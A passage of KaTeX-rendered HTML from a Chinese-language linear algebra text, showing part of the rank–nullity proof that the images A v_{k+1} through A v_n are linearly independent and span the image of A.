style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 线性无关，所以所有系数均为零：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><msub><mi>c</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>=</mo><mo>…</mo><mo>=</mo><msub><mi>c</mi><mi>n</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">c_{k+1} = c_{k+2} = \ldots = c_n = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6389em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex"> A v_{k+1}, A v_{k+2}, \ldots, A v_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 线性无关。</p><p>因此，回到假设可知，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex"> \{A v_{k+1}, A v_{k+2}, \ldots, A v_n\} </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">}</span></span></span></span> 线性无关。</p></li><li><p>张成性：对于任意 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi><mo>∈</mo><mi mathvariant="normal">Im</mi><mo>⁡</mo><mo stretchy="false">(</mo><mi>A</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex"> y \in \operatorname{Im}(A) </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop"><span class="mord mathrm">Im</span></span><span class="mopen">(</span><span class="mord mathnormal">A</span><span class="mclose">)</span></span></span></span>，存在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>∈</mo><mi>V</mi></mrow><annotation encoding="application/x-tex"> x \in V </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.22222em;">V</span></span></span></span> 使得 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>y</mi></mrow><annotation encoding="application/x-tex"> A x = y </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span>。将 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex"> x </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 用基展开：</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>x</mi><mo>=</mo><msub><mi>a</mi><mn>1</mn></msub><msub><mi>u</mi><mn>1</mn></msub><mo>+</mo><msub><mi>a</mi><mn>2</mn></msub><msub><mi>u</mi><mn>2</mn></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>a</mi><mi>k</mi></msub><msub><mi>u</mi><mi>k</mi></msub><mo>+</mo><msub><mi>b</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>b</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>b</mi><mi>n</mi></msub><msub><mi>v</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">x = a_1 u_1 + a_2 u_2 + \ldots + a_k u_k + b_{k+1} v_{k+1} + b_{k+2} v_{k+2} + \ldots + b_n v_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>A</mi><msub><mi>u</mi><mi>i</mi></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex"> A u_i = 0 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal">u</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span> 对所有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>k</mi></mrow><annotation encoding="application/x-tex"> i = 1, 2, \ldots, k </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 成立，</p><p>则有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>A</mi><mi>x</mi><mo>=</mo><mi>A</mi><mo stretchy="false">(</mo><msub><mi>b</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>b</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>b</mi><mi>n</mi></msub><msub><mi>v</mi><mi>n</mi></msub><mo stretchy="false">)</mo><mo>=</mo><msub><mi>b</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>+</mo><msub><mi>b</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mi>A</mi><msub><mi>v</mi><mrow><mi>k</mi><mo>+</mo><mn>2</mn></mrow></msub><mo>+</mo><mo>…</mo><mo>+</mo><msub><mi>b</mi><mi>n</mi></msub><mi>A</mi><msub><mi>v</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">A x = A (b_{k+1} v_{k+1} + b_{k+2} v_{k+2} + \ldots + b_n v_n) = b_{k+1} A v_{k+1} + b_{k+2} A v_{k+2} + \ldots + b_{n} A v_n </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">A</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">A</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mord mathnormal">A</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span 